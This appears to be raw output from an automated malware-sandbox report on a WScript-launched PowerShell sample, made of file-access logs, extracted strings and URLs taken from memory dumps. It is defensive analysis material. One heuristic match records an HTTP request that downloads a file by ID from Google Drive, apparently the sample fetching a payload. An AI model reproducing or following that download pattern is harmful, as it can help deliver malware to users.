"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access file "%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access file "%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1"48:Tad8,"WScript.exe" trying to access non-existent file "C:\Windows\System32\wbem\WBEMCOMN.DLL" "WScript.exe" trying to access non-existent file "C:\WINDOWS\system32\wbem\wbemcomn.dll" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SLC.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\SLC.dll" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SPPC.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\sppc.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll"49:Ta25,"WScript.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "WScript.exe" trying to access non-existent file "\DEVICE\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}" "WScript.exe" trying to access non-existent file "\DEVICE\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}" "WScript.exe" trying to access non-existent file "\Device\RasAcd" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:ZONE.IDENTIFIER" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:Zone.Identifier" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML"4a:T795,"2.5.29.35" "2.5.29.37" "192.168.0.2" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" "2.5.29.19" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.15" "2.5.29.14" "2.5.29.10" "3.0.0.0" "1.1.0.1" "2.5.4.3" "2.5.29.32" "2.5.4.7" "2.5.4.10" "2.5.29.1" "2.5.29.31" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.17" "2.5.4.6" "2.5.4.8" "2.5.29.16" "2.5.4.11" "2.5.4.5" Potential IP "1.0.0.0" found in string ":\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.localaccounts\1.0.0.0\microsoft.powershell.localaccounts.psd1" "1.0.0.1" Potential IP "1.0.0.0" found in string "??\C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.psd1" Potential IP "1.0.0.0" found in string "??\c:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.localaccounts\1.0.0.0\microsoft.powershell.localaccounts.psd1" Potential IP "1.0.0.1" found in string ":\program files (x86)\windowspowershell\modules\packagemanagement\1.0.0.1\packagemanagement.psd1" Potential IP "1.0.0.0" found in string ":\program files (x86)\windowspowershell\modules\packagemanagement\1.0.0.0\packagemanagement.psd1" Potential IP "1.0.0.1" found in string "??\C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1" Potential IP "1.0.0.1" found in string "??\c:\program files (x86)\windowspowershell\modules\powershellget\1.0.0.1\powershellget.psd1" Potential IP "1.0.0.1" found in string ":\program files (x86)\windowspowershell\modules\powershellget\1.0.0.1\powershellget.psd1" Potential IP "1.0.0.1" found in string "m files (x86)\windowspowershell\modules\powershellget\1.0.0.1\psmodule.psm1"4b:T1d61,Heuristic match: "drive.google.com" Heuristic match: "get /uc?export=download&id=1w6eqnji1ktv7s2upu24ebojhgqq9ov-3 http/1.1connection: keep-aliveaccept: */*accept-language: en-ususer-agent: 5.0 (windows nt 10.0; win64; x64; rv:152.0) gecko/20100101 firefox/152.0host: drive.google.com" Heuristic match: "drive.usercontent.google.com" Heuristic match: "get /download?id=1w6eqnji1ktv7s2upu24ebojhgqq9ov-3&export=download http/1.1connection: keep-aliveaccept: */*accept-language: en-ususer-agent: 5.0 (windows nt 10.0; win64; x64; rv:152.0) gecko/20100101 firefox/152.0host: drive.usercontent.google.com" Pattern match: "https://drive.userco" Pattern match: "microsoft.net/framework/v4.0.30319/" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "www.digicert.com1" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://www.microsoft.com/windows" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://www.w3.org/2001/xmlschema#string" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Pattern match: "http://schemas.microsoft.com/powershell/microsoft.powershell" Heuristic match: "set-location $myinvocation.mycommand.name" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225750" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225747" Heuristic match: "get-content $file | more.com" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113316" Pattern match: "https://go.microsoft.com/fwlink/?linkid=160712" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.consolehost/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.consolehost.dll" Heuristic match: "ntrust.net" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://www.microsoft.com0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "www.digicert.com1!0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "www.micro5" Pattern match: "www.micr" Pattern match: "http://www.microsoft.com/windows0" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Heuristic match: "9.15.cat" Pattern match: "crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0x" Pattern match: "http://www.microsoft.com/pki/certs/microsofttimestamppca.crt0" Heuristic match: "ement.au" Pattern match: "crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0" Pattern match: "www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pn" Heuristic match: "cim_operatingsystem.name" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "https://connect.microsoft.com/powershell/feedback/details/421837" Pattern match: "http://pesterbdd.com/images/pester.png" Pattern match: "https://github.com/pester/pester" Pattern match: "http://www.apache.org/licenses/license-2.0.html"4c:Td322,Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00000160.00000000.219629.02D3F000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00000160.00000000.219629.02E50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00000160.00000000.219629.02E50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00000160.00000000.219629.02E50000.00000004.mdmp") Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;96zj*6zym/4rv^digicert" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl06zx(da" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?:6" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l$7zv1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>/4rvredmond1microsoft" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://www.micro5/pkiops/crl/micwinpropca2011_2011-10-19./u0s0qehttp://www.micr)m/pkiops/certs/micwinpropca2011_2011-10-" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>?azh$mo!5wlye" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00000160.00000000.219629.07320000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00000160.00000000.219629.6F931000.00000020.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0h9iqmgvw,czcthawte," - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;96zj*6zym/4rv^digicert" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl06zx(t1o-&b(f>" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?:6" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l$7zv1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00000160.00000001.221551.07320000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0?azhpk\q6fcattp:/micom/ppk\q" - Source: "00000000-00000160.00000001.221551.08920000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0zn0l0j>http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0?azh-g@p?azhdhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00000160.00000001.221551.08920000.00000004.mdmp") Found URL "http://www.microsoft.com/pnult.htm0@$vkt7" - Source: "00000000-00000160.00000001.221551.08920000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zs/mlpo/>" - Source: "00000000-00000160.00000001.221551.08920000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportuppressrebootnotificationare\poliscellaneous" - Source: "00000000-00000160.00000001.221551.08B20000.00000004.mdmp") Found URL "https://connect.microsoft.com/powershell/feedback/details/421837" - Source: "00000000-00000160.00000001.221551.08B20000.00000004.mdmp") Found URL "http://pesterbdd.com/images/pester.png" - Source: "00000000-00000160.00000001.221551.08B20000.00000004.mdmp") Found URL "https://github.com/pester/pester" - Source: "00000000-00000160.00000001.221551.08B20000.00000004.mdmp") Found URL "http://www.apache.org/licenses/license-2.0.html" - Source: "00000000-00000160.00000001.221551.08B20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0h9iqmgvw,czcthawte," - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;96zj*6zym/4rv^digicert" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00000160.00000002.223471.07320000.00000004.mdmp") Found URL 